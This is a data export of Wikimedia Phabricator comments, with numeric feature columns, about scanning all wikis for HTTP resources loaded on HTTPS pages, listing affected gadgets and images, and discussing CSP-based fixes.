1478274,Check all wikis for inclusions of http resources on https,"This is probably obsolete nowadays. But will let Security Team triage and keep, merge or close accordingly :)",,,1586041205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,344,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"This is probably obsolete nowadays. But will let Security Team triage and keep, merge or close accordingly :)"
511182,Check all wikis for inclusions of http resources on https,">>! In T36670#1552038, @Nemo_bis wrote:
> What benefit does this give over HSTS at this point?

None, I guess.

> This sounds certainly useful, if it can be restricted to embedded content (rather than just links).

`script-src` only affects `<script>` tags. There is also `style-src`, `object-src` and so on; they can be combined.",,,1440018906,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,103,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,30.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1515151515151514,0.696969696969697,"QUOTE
QUOTE

None, I guess.

QUOTE

CODE only affects CODE tags. There is also CODE, CODE and so on; they can be combined."
510709,Check all wikis for inclusions of http resources on https,"> Modern browsers can be instructed via an Upgrade-Insecure-Requests header or CSP directive to request any resource over HTTPS from a given domain, even if the URL has HTTP in it.

What benefit does this give over HSTS at this point? Can that be configured to apply only to Wikimedia domains? (Couldn't see quickly in the examples.)

> CSP can also be used to report insecure URLs via default-src https: + report-uri.

This sounds certainly useful, if it can be restricted to embedded content (rather than just links).",,,1439968734,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,103,True,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,14.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9649122807017543,0.8070175438596491,"QUOTE

What benefit does this give over HSTS at this point? Can that be configured to apply only to Wikimedia domains? (Couldn't see quickly in the examples.)

QUOTE

This sounds certainly useful, if it can be restricted to embedded content (rather than just links)."
507102,Check all wikis for inclusions of http resources on https,"Modern browsers can be instructed via an [[ http://www.w3.org/TR/upgrade-insecure-requests/ | Upgrade-Insecure-Requests ]] header or CSP directive to request any resource over HTTPS from a given domain, even if the URL has HTTP in it.

CSP can also be used to report insecure URLs via [[ http://www.w3.org/TR/upgrade-insecure-requests/#reporting-upgrades | `default-src https:` + `report-uri` ]].",,,1439422274,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,102,True,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,22.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,13.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.4285714285714284,0.7301587301587301,"Modern browsers can be instructed via an [[ URL | Upgrade-Insecure-Requests ]] header or CSP directive to request any resource over HTTPS from a given domain, even if the URL has HTTP in it.

CSP can also be used to report insecure URLs via [[ URL | CODE + CODE ]]."
431444,Check all wikis for inclusions of http resources on https,Have been going around removing http: references from Wikimedia-hosted wikis. Not sure what to do about the private wikis where I don't have an account/an admin flag.,,,1427162524,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,81,True,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,11.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,4.0,0.8857142857142857,Have been going around removing http: references from Wikimedia-hosted wikis. Not sure what to do about the private wikis where I don't have an account/an admin flag.
165962,Check all wikis for inclusions of http resources on https,"**Ruslik00** wrote:

I fixed all above except bnwikibooks (can not find anything), eswikiquote and also
http://upload.wikimedia.org/wikipedia/commons/e/ea/Button_easy_cite.png on euwiki (can not find either).

It was a good news actually that so few of them turned up.

In fact, a bigger problem is 404 errors.",,,1383496587,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,False,,,9,True,3.0,2.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,10.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,3.3442622950819674,0.7704918032786885,"**Ruslik00** wrote:

I fixed all above except bnwikibooks (can not find anything), eswikiquote and also
URL on euwiki (can not find either).

It was a good news actually that so few of them turned up.

In fact, a bigger problem is 404 errors."
165959,Check all wikis for inclusions of http resources on https,"Nemo was right. Ran a script to add all the gadgets to my user, and then reran my script to check Main_Page, action=edit for my user page, and Special:RecentChanges. These all popped up.


aswiki
* http://en.wikipedia.org/w/index.php?title=User:ProveIt_GT/ProveIt.js&action=raw&ctype=text/javascript

bnwikibooks
* http://en.wikipedia.org/w/index.php?title=User:ProveIt_GT/ProveIt.js&action=raw&ctype=text/javascript

dewikiversity
* http://toolserver.org/~w/ggu/?format=cssmarker&localuser=Benutzer&query=sysop@dewikiversity@P%7Cbureaucrat@dewikiversity@B
* http://toolserver.org/~w/ggu/?format=cssmarker&localuser=Benutzer&query=sysop@dewikiversity@P%7Cbureaucrat@dewikiversity@B%7Csysop@commonswiki@C%7Csteward@metawiki@S

dvwiktionary
* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript

elwiki
* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=el

elwikinews
* http://meta.wikimedia.org/w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
* http://en.wikipedia.org/w/index.php?title=MediaWiki:Gadget-popups.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
* http://meta.wikimedia.org/w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400

eswikiquote
* http://commons.wikipedia.org/skins-1.5/monobook/headbg.jpg
* http://es.wikipedia.org/skins-1.5/amethyst/chat.png
* http://upload.wikimedia.org/wikipedia/commons/b/ba/Search_button_bckg.png
* http://es.wikipedia.org/skins-1.5/amethyst/configure.png
* http://es.wikipedia.org/skins-1.5/amethyst/connect.png
* http://es.wikipedia.org/skins-1.5/amethyst/mainpage.png
* http://es.wikipedia.org/skins-1.5/amethyst/portal.png
* http://es.wikipedia.org/skins-1.5/amethyst/recentchanges.png
* http://es.wikipedia.org/skins-1.5/amethyst/random.png
* http://es.wikipedia.org/skins-1.5/amethyst/help.png
* http://es.wikipedia.org/skins-1.5/amethyst/sitesupport.png
* http://es.wikipedia.org/skins-1.5/amethyst/chat.png
(and a few more amethyst urls)

euwiki
* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=eu
* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=eu
* http://upload.wikimedia.org/wikipedia/commons/e/ea/Button_easy_cite.png

orwiktionary
* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript

ruwikinews
* http://ru.wikipedia.org/w/index.php?action=raw&ctype=text/javascript&title=MediaWiki:Stemmer.js",,,1383349806,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,9,True,1.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,2.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,20.0,0.0,1.5,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,2.5,18.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.8076923076923075,0.3717948717948718,"Nemo was right. Ran a script to add all the gadgets to my user, and then reran my script to check Main_Page, action=edit for my user page, and Special:RecentChanges. These all popped up.


aswiki
* URL

bnwikibooks
* URL

dewikiversity
* URL
* URL

dvwiktionary
* URL

elwiki
* URL

elwikinews
* URL
* URL
* URL
* URL
* URL

eswikiquote
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL
(and a few more amethyst urls)

euwiki
* URL
* URL
* URL

orwiktionary
* URL

ruwikinews
* URL"
165952,Check all wikis for inclusions of http resources on https,"(In reply to comment #18)
> Does Quentin have a script for that? I haven't had the time to get one
> working
> yet, so it would be great to get that.

Yes, [[m:User:Pathoschild/Scripts/Synchbot#Global_settings_change]].
I think this applies: ""Due to the potential for misuse, this bot is not open-source"". https://github.com/Pathoschild/Wikimedia-contrib#readme
Maybe Pathoschild can give you the source too.",,,1382380566,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,3.0,8.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4307692307692306,0.6923076923076923,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE

Yes, [[m:User:Pathoschild/Scripts/Synchbot#Global_settings_change]].
I think this applies: ""Due to the potential for misuse, this bot is not open-source"". URL
Maybe Pathoschild can give you the source too."
165946,Check all wikis for inclusions of http resources on https,"Does Quentin have a script for that? I haven't had the time to get one working yet, so it would be great to get that.",,,1382373476,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,7.0,10.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.206896551724138,0.8620689655172413,"Does Quentin have a script for that? I haven't had the time to get one working yet, so it would be great to get that."
165939,Check all wikis for inclusions of http resources on https,"Quentin, can you confirm your script can enable all gadgets on all wikis for a test account for Chris?",,,1382335258,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,14.0,10.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"Quentin, can you confirm your script can enable all gadgets on all wikis for a test account for Chris?"
165935,Check all wikis for inclusions of http resources on https,"Next iteration will be to have it log in, and add every gadget available on every wiki... but I haven't figured that part out yet.",,,1380556667,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,7.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,"Next iteration will be to have it log in, and add every gadget available on every wiki... but I haven't figured that part out yet."
165930,Check all wikis for inclusions of http resources on https,"(In reply to comment #11)
> I (finally) got around to writing a phantomjs script that loads Main_Page on
> all 878 wikis in all.dblist over https, and looks for any calls to http urls.

Does the script work as unregistered user? The easy bulk of such problems (stuff loaded by default, ""http"" mentions in MediaWiki namespace) was already resolved, though of course people keep reintroducing more, but gadgets are more unpredictable.
Quentinv57 has a JavaScript for global preferences change, maybe it can be adapted to enable all gadgets on all wikis for the test account.",,,1380345747,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,2.0,0.0,0.0,2.0,0.0,7.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,14.0,5.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,4.209302325581396,0.8023255813953488,"(In reply to comment #11)
QUOTE
QUOTE

Does the script work as unregistered user? The easy bulk of such problems (stuff loaded by default, ""http"" mentions in MediaWiki namespace) was already resolved, though of course people keep reintroducing more, but gadgets are more unpredictable.
Quentinv57 has a JavaScript for global preferences change, maybe it can be adapted to enable all gadgets on all wikis for the test account."
165924,Check all wikis for inclusions of http resources on https,"(In reply to comment #11)
> https://ve.wikimedia.org redirects to http://wikimedia.org.ve, no ssl on that
> domain

Redirect works fine for me in my browser... No HTTPS on the target, but it doesn't try to go to HTTPS",,,1380321468,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,8.0,19.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.135135135135135,0.8648648648648649,"(In reply to comment #11)
QUOTE
QUOTE

Redirect works fine for me in my browser... No HTTPS on the target, but it doesn't try to go to HTTPS"
165917,Check all wikis for inclusions of http resources on https,"Woah, what it?

cewiki done in https://ce.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=118765&oldid=93507

sawiki https://sa.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A5%80%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80%3ACommon.js&diff=252205&oldid=240084

For dawiki pgcount.wikimedia.de is dead to the world. In which case should be removed...",,,1380321277,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,13.0,7.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9,"Woah, what it?

cewiki done in URL

sawiki URL

For dawiki pgcount.wikimedia.de is dead to the world. In which case should be removed..."
165909,Check all wikis for inclusions of http resources on https,"And..

https://da.wikipedia.org 
loads http://pgcount.wikimedia.de/index.png?ns=0&title=Forside&factor=20&wiki=dawiki",,,1380320746,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.8571428571428571,"And..

URL 
loads URL"
165903,Check all wikis for inclusions of http resources on https,"I (finally) got around to writing a phantomjs script that loads Main_Page on all 878 wikis in all.dblist over https, and looks for any calls to http urls.

Current result for this issue:

https://ce.wikipedia.org
loads http://upload.wikimedia.org/wikipedia/commons/1/10/Wikipedia-logo-v2-200px-transparent.png

https://sa.wikipedia.org 
loads http://strategywiki.org/w/index.php?title=User:Najzere/edit_counter.js&action=raw&ctype=text/javascript

https://ve.wikimedia.org redirects to http://wikimedia.org.ve, no ssl on that domain",,,1380318478,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,32.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.711864406779661,0.7288135593220338,"I (finally) got around to writing a phantomjs script that loads Main_Page on all 878 wikis in all.dblist over https, and looks for any calls to http urls.

Current result for this issue:

URL
loads URL

URL 
loads URL

URL redirects to URL no ssl on that domain"
165898,Check all wikis for inclusions of http resources on https,"Yes, I can give you an update... this is work in progress:
Chris had it running on his personal laptop but it broke after a change. As doing this on a laptop isn't a to good idea for such a large automated task the plan is to migrate it to a labs instance after the scripts have been fixed.",,,1355765301,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,9.0,15.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.5303030303030303,0.7575757575757576,"Yes, I can give you an update... this is work in progress:
Chris had it running on his personal laptop but it broke after a change. As doing this on a laptop isn't a to good idea for such a large automated task the plan is to migrate it to a labs instance after the scripts have been fixed."
165892,Check all wikis for inclusions of http resources on https,"(In reply to comment #7)
> Chris Steipp is working on that following an idea of mine, together with the
> 3rd party include problem. The idea behind that project is to scan the wikis
> using a real-user browser scenario, so that we find all inclusions, no matter
> how they're produced.

Hoo, Chris, any update here, or way to help?",,,1354956064,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-38,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,10.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.7,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Hoo, Chris, any update here, or way to help?"
165886,Check all wikis for inclusions of http resources on https,"(In reply to comment #7)
> Chris Steipp is working on that following an idea of mine, together with the
> 3rd party include problem. The idea behind that project is to scan the wikis
> using a real-user browser scenario, so that we find all inclusions, no matter
> how they're produced.

This also needs enabling (or otherwise including) all gadgets.",,,1345831949,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.4482758620689653,0.7241379310344828,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

This also needs enabling (or otherwise including) all gadgets."
165881,Check all wikis for inclusions of http resources on https,"It's true, that I already fixed several thousand of MediaWiki: pages including http only URIs, but there are some that can't be fixed that easily (eg. were the scripts are obfuscated or using nested imports [scripts which include even other scripts]).

Chris Steipp is working on that following an idea of mine, together with the 3rd party include problem. The idea behind that project is to scan the wikis using a real-user browser scenario, so that we find all inclusions, no matter how they're produced.

